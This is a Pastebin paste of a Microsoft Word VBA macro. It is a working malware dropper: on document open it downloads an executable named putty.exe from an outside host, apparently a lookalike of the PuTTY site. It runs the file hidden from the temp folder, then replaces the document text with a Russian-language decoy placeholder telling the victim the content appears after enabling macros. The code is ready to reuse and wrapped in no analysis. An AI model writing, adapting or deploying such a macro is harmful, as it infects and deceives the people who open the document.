xrahitel

Microsoft Word macro

Feb 10th, 2019
553
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.94 KB | None | 0 0
  1. #If VBA7 Then
  2. Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  3. Private Declare PtrSafe Function PathFileExists Lib "shlwapi" Alias "PathFileExistsA" _
  4. (ByVal pszPath As String) As Long
  5. Private Declare PtrSafe Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _
  6. (ByVal nBufferLength As Long, _
  7. ByVal lpBuffer As String) _
  8. As Long
  9. #Else
  10. Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  11. Private Declare Function PathFileExists Lib "shlwapi" Alias "PathFileExistsA" _
  12. (ByVal pszPath As String) As Long
  13. Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _
  14. (ByVal nBufferLength As Long, _
  15. ByVal lpBuffer As String) _
  16. As Long
  17. #End If
  18.  
  19. Sub AutoOpen()
  20. Dim ret As Long
  21. Dim HTTPfile As String, LocalFile As String
  22. Dim sBuffer As String
  23. Dim sPath As String
  24. Dim lBufPath As Long
  25.  
  26. sBuffer = Space(255)
  27. lBufPath = GetTempPath(255, sBuffer)
  28. sPath = Left$(sBuffer, lBufPath)
  29.  
  30. HTTPfile = "https://putty.tech/~sgtatham/putty/latest/w32/putty.exe"
  31. LocalFile = sPath & "putty.exe"
  32.  
  33. ret = URLDownloadToFile(0, HTTPfile, LocalFile, 0, 0)
  34. Dim CurDirBackup As String
  35. Shell LocalFile, vbHide
  36. Selection.WholeStory
  37. Selection.Delete Unit:=wdCharacter, Count:=1
  38. Selection.TypeText Text:="ВАША ПИСАНИНА, ЧТО ОТОБРАЗИТСЯ ПОСЛЕ ВКЛЮЧЕНИЯ МАКРОСА"
  39.  
  40.  
  41. End Sub
Advertisement
Add Comment
Please, Sign In to add comment